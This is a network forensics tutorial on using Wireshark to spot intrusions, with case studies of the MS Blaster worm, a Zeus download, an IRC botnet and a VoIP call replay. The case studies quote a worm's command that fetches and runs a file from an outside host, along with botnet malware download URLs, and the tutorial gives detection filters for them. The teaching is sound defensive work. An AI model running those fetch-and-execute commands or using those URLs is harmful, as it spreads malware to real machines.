The Enemy Inside the Gates by Phill Shade

A Guide to Using Open Source Tools for Network Forensics Analysis.

The scene: an otherwise normal day in the Network Operations Center, when the ringing of the phone heralds the news that every Network Security Professional dreads: ‘I think our network was hacked!’ Suddenly, you are faced with answering questions you hoped never to encounter:

  • What damage has been done?
  • Who was the intruder and how did they penetrate the existing security precautions?
  • Did the intruder leave anything such as a new user account, a Trojan horse or perhaps some new type of Worm or Bot software behind?
  • Did you capture sufficient data to analyze and reproduce the attack and verify the fix will work

Network Forensics Analysis encompasses the investigative skills and techniques to not only capturing suspicious data, but also the ability to discern unusual patterns hidden within seemingly normal network traffic. The goal of this brief tutorial is to introduce the concepts and techniques of Network Forensics Analysis including:

  • Understanding the principles of Network Forensics Analysis and situations in which to apply them to evidence analysis
  • Selecting and configuring various Open-Source tools, such as Wireshark and Network Miner for Network Forensics Analysis to capture and recognize traffic patterns associated with suspicious network behavior.
  • Specialized Network Forensics Analysis techniques including suspicious data traffic reconstruction and viewing techniques such as Web-Browsing sessions, Emails or file transfer activities or for detailed analysis and evidentiary purposes.
  • Network security principles including encryption technologies, defensive configurations of network infrastructure devices and understanding and recognizing potential network security infrastructure mis-configurations

What you should know before utilizing the techniques discussed in this tutorial:

  • A basic knowledge of key networking concepts such as the OSI Reference Model, TCP/IP protocols and basic network infrastructure devices such as Switches, Routers, etc.
  • For maximum effectiveness, a basic familiarity with Wireshark and Network Miner is critical to maximize the learning experience.

What is Network Forensics and How Does it??Fit Into the Forensic Investigative Process?

Figure 1. The classic Forensics Pyramid

The presence of cybercrime and cyber terrorism is on the rapid increase as we depend more and more on computers and the Internet. These changes revel an emerging requirement for Law Enforcement and Corporate Security personnel to work together to prevent, and solve increasingly more complex cases of the computer networks being utilized for criminal and terrorist activities.

The traditional model of network forensics requires retrieving myriads of data elements from a multitude of sources such as firewall logs, router logs, Intrusion Detection Systems (IDS), server logs, hard drive and system dumps. The resulting collection must then be pieced together into a coherent picture, but more often than not results in an incomplete one as shown below.

Figure 2. The traditional model of IT-based Network Forensics investigations

Sound familiar? But what if there were new techniques that build upon existing technologies?

While the concepts and capabilities for Network-level Forensics have existed for several years; few Law Enforcement or Networking Security professionals are aware of the depth of information available by utilizing common open-source tools such as Wireshark and Network Miner in conjunction with standard forensics techniques and training. Only within the last few years have a few such groups begun to explore this new area of expertise as information has begun to spread; primarily via informal exchanges between peers. Comparatively recently, the definitions of Forensic Analysis as applied to IT-based cases has been evolving to match the new techniques:

  • Forensics Analysis – a science dedicated to the methodical gathering and analysis of evidence to establish facts that can be presented in a legal proceeding
  • In the Cyber-Security / Law Enforcement realm, this evolved into ‘Host or Computer Forensics’ pertaining to legal evidence found in computers, digital storage mediums and the capture, recording, and analysis of network events in order to discover the source of security attacks or other problem incidents (Wikipedia)

Host Based Forensics Analysis: Collection and analysis of evidence recovered from or on specific devices and is typically concerned with Legal requirements and evidence preservation.

Network Forensic Analysis: is based upon the use of special tools to analyze packet capture (trace) files of network or internet traffic to evaluate suspicious Network Events or more simply, a new way of looking at traditional packet file analysis that provides the missing piece in traditional Cyber-Forensic Analysis and is concerned with the process of reconstructing a network event such as an Intrusion or other suspicious Network or infrastructure outages.

Network Forensics changes the traditional forensics modal as previously shown in (figure 3) by adding the proven abilities of Network Analysis tools such as the open-source Wireshark network analyzer integrated with the existing high-performance, line-rate capture appliances known as Data-Recorders. The resulting capture files drawn from the Data-Recorders, allow both Network Security and Law Enforcement professionals to reconstruct and analyze suspect events in greater depth; to the individual bit if necessary. These additional capabilities have altered the traditional model of Network Forensics resulting in a new configuration:

Figure 3. A new model for IT-based Network Forensics investigations

So where do we start? What follows is a sample analysis sequence that is intended to serve as a starting point in the Network Forensics process:

Select and perform initial configuration of tools you are using (such as Wireshark or Network Miner) – For the discussion of this article, we will be using Wireshark, available from www.wireshark.org to analyze the selected capture files. (Network Miner will be covered in Part 2 of this article).

Figure 4. Wireshark initial Capture Configuration Screen showing the various standard options for capturing suspect traffic??(Note – Recommended Capture settings are shown in the screen shot)

Details of the Wireshark Capture interface:

  • Capture Interface Selection – Choose the adapter from which the capture buffer will capture packets from
  • Display Options – Controls how the packets being captured are display while the capture is in progress
  • Name Resolution Options – Specifies how various layers of addressing contained with each packet will be displayed
    • Resolve MAC Address – Selection of this option directs Wireshark to use its built-in table of Vendor ID’s to be consulted resulting in the first three hexadecimal bytes of each MAC address to be substituted with the registered Vendor Identification name from ieee.org; i.e.00:00:0c:01:02:03 is displayed Cisco_01:02:03
      • Resolve Network-layer Names – Selection of this option directs Wireshark to do a DNS-lookup and substitute the results in the display in place of the IP Address; e. 157.166.26.25 is displayed as www.cnn.com
    • Resolve Transport-layer Names – Selection of this option directs Wireshark to use its built-in table of TCP / UDP Port numbers to be consulted resulting in the Port number bytes of each transport layer address to be substituted with the registered Port Identification/ Service name from iana.org; i.e. TCP Port 80 is displayed as HTTP
    • Use External Network Name Resolver – Selection of this option directs Wireshark to use a userspecified external name resolver
  • Capture File Options:
    • File – Allows the user to specify a unique capture file name
    • Multiple Files – Allows the user to specify conditions under which multiple sequential files are captured (used extensively in long-term capture situations). Trigger conditions for the next capture file are user-specified by either file size or time values
    • Ring buffer with – Allows the user to specify how many capture files will comprise the current capture session. The alternative is to select ‘Stop Capture after’ and specify a number of capture files value.
  • Stop Capture Options – Allows the user to specify when a capture should be stopped based on several user-specified criteria including number of packets in the capture buffer, size of the capture file or a time value.

Note: Additional information regarding capture configurations can be found in the Wireshark -> Help -> User Guide or at wiki.wireshark.org

  • Attach to the network in the appropriate location – Capture the suspect traffic and related statistical information (or load a previously captured evidence file)
    • What packets do you want to see? – What segments will be carrying those packets? Do we need to use some type of capture filter to limit the incoming packet stream?
    • Set up mirroring (if in a switched environment) – What packets do you want to see? – What ports will be carrying those packets?
    • Select an adapter – Consider implementing ‘stealth’ capturing
    • Configure the capture buffer – How long do you want to capture? – Stop capture when buffer is full, or keep going?

Under ideal conditions, we would be in a location where the traffic volume is low enough to allow for full packet capture and analysis; however, there are times when the amount of traffic is too large to effectively capture. When faced with such a situation or when the scope of the Law Enforcement Capture Warrant is limited, consider using Wireshark Capture Filters to limit the quantity of packets being captured in such traffic environments.

Examples of Capture Filters:

  • All traffic to and from a specific IP Address or subnet: host 192.168.0.1 or net 192.168.0.0/16 All Internet or Web traffic: port 80
  • Malicious Worm Traffic: dst port 135 or dst port 445 or dst port 1433 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24

Note: Additional examples can be found at wiki.wireshark.org.

  • Assess key statistics and available expert systems – At this point we are only looking for interesting or unusual things to identify for later analysis. Wireshark has the ability to use user-specified ‘Color Rules’ to detect and identify the presence of specifically defined behavior (see the section ‘Sample Wireshark Color Rules’ for some suggested sample color rules.

Lots of different things could make a protocol or station ‘suspicious’ including:

  • The use of unusual device (Physical / MAC) or logical (Network / IP) Addresses or atypical traffic patterns
    • Unusual or unexpected Protocols such as Internet Relay Chat (IRC), TFTP or anomalous ARP / DHCP / DNS requests
    • Presence of WiFi or anomalous behavior such as unusual control or management traffic (Association Requests / Responses)

Figure 5. Sample Wireshark capture showing various Color Rules being applied to identify multiple suspicious events

Wireshark stores its color rules under a single table named ‘Wireshark Coloring Rules’ and is located either within the Icon Bar at the top of Wireshark or under ‘View -> Coloring Rules’ menu choice.

Figure 6. Sample Wireshark color rule table showing an assortment of color rules designed to show a number of userspecified forensic events of interest

Sample Wireshark Color Rules:

  • Detect the presence of suspicious file downloads: Syntax: frame matches \.(?i)tar or frame matches MZ or frame matches \.(?i)exe
  • Detect the presence of IRC or Bot Command and Control traffic: Syntax: irc or frame matches??(?i) join
  • Detect the presence of possible Bot Command and Control traffic based on unusual DNS traffic: Syntax: dns.count.answers > 10
  • Detect the presence of a possible Man-in-the-Middle Attack: Syntax: (arp.opcode == 1) && !(eth.dst== ff:ff:ff:ff:ff:ff)
  • Detect the presence of suspicious IP Header Options: Syntax: hdr_len > 20 &&! igmp
  • Detect the presence of obsolete ICMPv4 Types: Syntax: type >12
  • Detect the presence of the Low Orbit Ion Cannon Bot Software: Syntax: frame matches (?i)probando
  • Detect the presence of the Nessus Scanning Software: Syntax: frame matches (?i)nessus
  • Detect the presence of the Retina / Ettercap Scanning Software: Syntax: id==0xe77e
  • Detect the presence of suspicious DNS Country Code extensions: Syntax: http.host matches??\[.](?i(ru || cn || cz || br || tr || nu)

Note: Additional examples of color rules can be found at wiki.wireshark.org.

Examination of the key Wireshark Statistical Menus will provide the Network Forensic Analyst with an in-depth view of what was occurring within the network at the time the capture file was collected. At a minimum, plan on utilizing the built-in Wireshark statistical menus such as Protocol Hierarchy, Endpoints and Conversations to develop an overview of what is happening within the file and where to proceed for detailed analysis.

Figure 7. Showing three key statistics displays used in Network Forensic Analysis and located under the Wireshark ‘Statistics’ menu

Example 1 – Protocol Statistics

By Examining the Wireshark Statistics -> Protocol Hierarchy menu, you might identify unexpected or suspicious protocols on the network worth additional examination by using the ‘Right Click -> Select Related’ option.

Figure 8. The Wireshark Statistics -> Protocol Hierarchy display showing a chart of all of the network protocols contained within the capture file. (Note – we have identified several suspicious protocols for further examination)

Figure 9. The Wireshark Statistics -> Protocol Hierarchy display showing a specific protocol being selected for detailed examination using the ‘Right-Click -> Select Related’ option

Example 2 – Endpoint Statistics

Perhaps a user reports ‘Slowness’ or ‘Too many Errors’, and examination of the Wireshark Statistics -> Endpoints reveals it is using an unusual pattern of addresses or one or more devices transmitting or receiving an unusual amount of traffic. Also consider using Wireshark’s GeoIP mapping capabilities via loading the City, AS number and Country public databases from www.Maxmind.com. This will allows the user to quickly identify suspicious IP addresses for further examination using the same ‘Right-Click’ method previously mentioned.

Figure 10. The Wireshark ‘Statistics -> Endpoints’ display showing IPv4 Address with the ‘GeoIP’ option enabled to display ASN, Country and City information (note -GeoIP can display both IPv4 and IPv6 addressing)

Figure 11. The web-browser display showing the information plotted by GeoIP when the ‘Map’ of the Endpoints view is selected

Example 3 – Conversation Statistics

Used primarily to identify suspicious or unusual conversation activity between address pairs, Wireshark’s Statistics -> Conversations is very useful for obtaining a quick overview of traffic flows. As with the Endpoint menu, be alert for questionable patterns in Physical or Logical addresses or port numbers such as shown below:

Figure 12. The Wireshark ‘Statistics -> Conversations’ display showing IPv4 Address conversations displaying a suspicious pattern indicative of possible Network SYN-scanning originating from 10.1.1.31

Similar to the functionality of both the Protocol and Endpoints statistical menus, Wireshark has the ‘Right-click-> Select Related’ functionality available within this statistical menu as well.

Focus in on the ‘suspicious’ behavior – Utilize visual reconstruction techniques to examine the traffic flow and reconstruct the ‘Event’ of interest.

Figure 13. Sample Wireshark capture showing information about a suspicious file name contained within a TFTP transfer

Figure 14. Sample of a detailed examination of a suspicious network conversation displayed using the ‘Right Click -> Follow TCP Stream’ option

To better illustrate the process, let’s examine several Forensic Case Studies including examples of malicious Worm Infections including the MS Blaster and Zeus (Zbot) worm infection attempts, identification of an existing Botnet and an example of a Voice Over IP (VoIP) reconstruction and playback.

Sample Case Study #1 – MS Blaster B Worm Infection

During the early morning hours of 11 August 2003, network administrators around the world awoke to discover that a new breed of self-propagating Network Worm had been unleashed; the MS Blaster. The following case study shows a ‘Zero-day’ attack of the Worm on a customer network that was running network analysis software configured to support continuous capture.

  • Packet Capture Background: This file was collected from a Client network that was experiencing random performance delays and erratic Desktop Machine symptoms. IP Address 141.157.228.12 was identified as an external server and IP address 10.1.1.31 was identified as a standard customer workstation.
  • Observed Client Network Symptoms: Personal observations of infection symptoms varied but included the presence of an MS-Dos pop-up window displaying the following message as well as very slow performance and random rebooting cycles.

Figure 15. Sample screen display of a machine infected with the MSBlaster ‘B’ variant

  • Forensic Analysis of Packets: Network traffic packet captures revealed the following: In this screen we see a previously infected server IP 141.157.228.12 exploiting an unpatched target at IP 10.1.1.31. Once the TCP 3-way handshake to TCP Port 4444 is complete, the attacker executes a remote Procedure Call (RPC) on the target in packet #4.

Figure 16. Sample Wireshark capture showing a packet capture taken from the network in question displaying a suspicious file name contained within a TFTP transfer

  • Packet #4 – The RPC command ‘tftp -1 141.157.228.12 GET msblast.exe’ imbedded within the payload directs the client, 10.1.1.31 to download a file named msblast.exe from 141.157.228.12 using the Trivial File Transfer Protocol (TFTP).
  • Beginning in packet #6 and concluding in packet #41, we see the client initiate the TFTP transaction and download process.

Figure 17.??Sample Wireshark capture showing the transfer of the suspicious file from 141.157.228.12 via the use of the TFTP protocol

A closer look at the reassembled payload of the TFTP file transfer reveals a hidden message within the Worm.

Figure 18. Sample of the detailed examination of a suspicious conversation showing a hidden message which corresponds to the display on the infected workstations

  • Packet #42 – Once the MSBlaster worm (file msblast.exe) has been successfully downloaded by 10.1.1.31 from 141.157.228.12, it is directed to execute the file by the RPC command ‘start msblast.exe’ imbedded in the payload.

Figure 19. Sample Wireshark capture showing the RPC command sent from 141.157.228.14 to 10.1.1.31

  • Packets #44-663 – Upon receipt of the execute command, 10.1.1.31 executes the Worm payload and begins executing the MS Blaster Worm behavior of attempting to propagate further via a series of targeted TCP SYN commands targeting TCP Port 135 (MS NetBIOS) in the destination IP subnet 180.191.253.0/24. Further examination revels that the Worm attempts to evade detection by rotating the Source TCP Port number in a sequential pattern.

Figure 20. Sample Wireshark capture showing the new TCP SYN san triggered by the Worm now active in 10.1.1.31 as it attempts to locate another vulnerable system to infect

  • MSBlaster Worm Background: First detected in the wild on 11 August 2003, the MS Blaster B variant is often cited as an example of an internet worm designed to create an army of infected computers; often referred to as ‘Zombie PC’s’ or ‘Bots’ to be used in a Distributed Denial of Service (DDoS) attack against a specific target, in this case Microsoft.

It specifically targeted systems running Windows 200 and the 32-bit version of Windows XP by exploiting a buffer overflow in the DCOM RPC stack. Infected machines will attempt to further propagate the infection via a TCP SYN scan targeting TCP Port 135 of the infected subnet.

Once infected, systems would be directed to launch a Distributed Denial of Service (DDoS) against Microsoft Windows Update using the flowing schedule:

  • Any day in the months September – December
  • 16th to the 31st day of the following months: January – August – CERT Advisory CA-2003-20 W32/Blaster worm. org

Sample Case Study #2 – Zues (ZBOT) Trojan Failed Infection Attempt

Sometimes, valuable lessons can be learned from apparent failures that reveal unsuspected vulnerabilities as well as strengths. For example, the next case study reveals that the customer network, while having been penetrated by a Zeus Trojan attack, is still secure against this particular variant.

  • Packet Capture Background: This file was taken from a Client network that was experiencing intermittent performance delays and erratic Desktop Machine symptoms with a specific user. IP Address 89.187.51.0 (final octet masked at Client request) was identified as an external server located eight hops away in the Russian Federation and IP address 192.168.3.25 was identified as the user workstation running MS Windows 7 Professional version.
  • Forensic Analysis of Packets: Network traffic packet captures revealed the following:
    • Packets #1-3 – We see the client workstation (192.168.3.25) initiating the TCP 3-way handshake to TCP Port 80 in server 89.187.51.0

Figure 21. Sample Wireshark capture showing suspicious traffic with in the client’s network

  • Packet #4 – The client then executes a HTTP GET request for a file named ‘/ribbn.tar’ to the Domain ‘pipiskin.hk’ (Apparently a Domain located in Hong Kong) as shown in the Wireshark ‘Follow TCP Stream’ located under the ‘Right-Click Menu’
  • Packets #5-46 – Contain the payload of the request file ‘/ribbn.tar’ which research at Sourcefire VRT Labs reveals the following information: /ribbn.tar is one of the alias file names used by the Zeus Trojan (Worm).
  • Fortunately, the execute command ‘weibullhost ~ $ tar xzf ribbn.tar.gz’ fails due to the lack of a Linux client on the user’s workstation.
  • Zeus Worm Background: a Trojan horse that steals banking information by man-in-the-browser keystroke logging and Form Grabbing. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation it became more widespread in March 2009. In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon and BusinessWeek en.wikipedia.org/wiki/Zeus_(Trojan_horse)

Sample Case Study #3 – An Established BOT-NET Within the Network

Unfortunately, much like traditional Law Enforcement work, Network Forensics is nothing like a detective novel. Seldom do the clues lead in a single, logical progression to one inescapable conclusion. Rather, it is just like real-world investigations; we look in likely places for leads and follow these leads as best you can with the understanding that all of the evidence will not always point to the same thing.

Many times, the relationship between the ‘leads’ and the culprit is not obvious, some will result in dead ends, but others will produce useful information, typically we have to investigate each suspicious indication until we find the solution – Decide the most likely scenario, based on the majority of evidence.

Note: A famous author summarized it best, in my opinion, with his fictional detective uttering ‘when you have eliminated the impossible, whatever remains, however improbable, must be the truth’ S. Holmes – The Sign of the Four, Ch. 6 (1890).

  • Packet Capture Background: This file was taken from a Client network that was initially not suspected of being compromise. The infection was discovered while troubleshooting user complaints of a ‘Slow Network’.
  • Forensic Analysis of Packets: IP Address 68.164.173.62 was identified as an external server, running MS Windows Server 2000 and located seven hops away in the United States, using ASN 18566; while IP address 172.16.1.10 was identified as the user workstation running MS Windows XP Professional version. Examination of the Protocol Statistics menu revealed the presence of both IRC and TFTP protocols. Using the ‘Right-Click-> Select Related’ choice resulted in two different sets of packets in which a detailed analysis provided the following insights:
    • Packets #70 – #512 (TFTP Analysis) ??? Beginning in packet #70 and concluding in packet #512, we see the client initiate the TFTP transaction and requesting a download of a file named ‘analiz. exe’. Using the ‘Following UDP Stream’ command, we see the following image:

Figure 22. Sample Wireshark capture showing a packet capture taken from the network in question displaying a suspicious file name contained within a TFTP transfer

Research into the function of this file name reveals that this is most likely the Rbot-RP Worm that exploits backdoor functionality and can spread through unprotected or unauthorized remote penetration. This threat may also be identified as W32/HJ-6963. www.fileresearchcenter.com/A/ANALIZ.EXE-4657.html

  • Packet #134 – #301 (IRC Analysis) – Packet #134 is the beginning of an IRC connection to an IRC server identified by IP Address 69.64.34.124 located eight hops away and registered in Saint Louis, Missouri in the United States and using ASN 30083. Using the ‘Following TCP Stream’ command, we see the following image:

Figure 23. Sample of a detailed examination of a suspicious network conversation displayed using the ‘Right Click -> Follow TCP Stream’ option

This information reveals that IP Address 69.64.34.124 is functioning as an IRC Command and Control Server for this Botnet; identified as ‘hunt3d.devilz.net’ and running control software ‘version Unreal3.2’. It appears to be instructing the Client machine (172.16.1.10) to download a number of suspicious files from multiple locations including: www.wanees.net/bbnz.exe, webacceptor.findwhatevernow.com:8091/ get.file=jocker.exe, and ysbweb.com/ist/scripts/ysb.exe.

Research reveals that all of these files are malicious in nature and comprise an assortment of key-logging and Worm software packages.

The Network Engineer making this capture, upon detecting these pieces of evidence, immediately removed the workstation 172.16.1.10 from the network and contacted Law Enforcement officials for further analysis.

Sample Case Study #4 – A Voice Over IP (VoIP) Conversation Reconstruction

Not all Network Forensic investigations involve tracing malicious pieces of software (Malware) back to their origins. In the following case study, we analyze and reconstruct a VoIP conversation and playback the resulting file to listen to the audio portion of the call.

Packet Capture Background

This was collected from a suspect test network as part of an evidence collection exercise.

Forensic Analysis of Packets

IP address 45.210.3.90 is assigned to Endpoint #1, a Cisco VoIP phone using SIP In-band signaling emulation with the caller ID of ‘3290@cisco.sip.ilabs.interop.net’. IP address 45.210.9.97 is assigned to Endpoint #2, also a Cisco VoIP phone running SIP In-band signaling emulation with a caller ID of ‘sip:4697@cisco.sip.ilabs.interop.net’. IP Address 45.210.3.36 is assigned to the Call Client Manager / Gateway device.

Figure 24. Sample Wireshark display showing a VoIP packet capture collected from the network in question

  • Packets #4 – #11 (Call Set-up) – Contain the Sip In-band signaling setup handshake. Examination of the decoded packets reveals that the Endpoint ID’s are transmitted in unencrypted ASCII test.
  • Packets #12 – #3410 (Audio Data) – Comprise both G.711 codex based audio streams of the suspect conversation being monitored with an elapsed call duration of approximately 1 minute and 23 seconds.

Reassembly and subsequent playback of one or both sides of this phone call can be achieved by utilizing Wireshark’s native VoIP analysis functionality located under the ‘Telephony’ menu.

Figure 25. Showing the steps required to select a specific VoIP call and send it to the Wireshark VOIP playback module. The VoIP call analysis and playback functions are located under the Wireshark ‘Telephony’ menu

Figure 26. Showing the steps required to decode and playback the audio portion of a specific VoIP call

Conclusions

This tutorial has provided a brief look at a powerful new addition to the tools used in both Network and Law Enforcement operations: Network Forensics Analysis techniques using packet capture files. Building on capabilities and techniques already used by Security professionals we show that contained within a packet trace are the key clues required to analyze, evaluate and resolve most network security incident, as shown by our analysis of these Case Studies drawn from Real-World events. To be continued in ‘Enemy inside the gates. Part 2 – Network Miner’.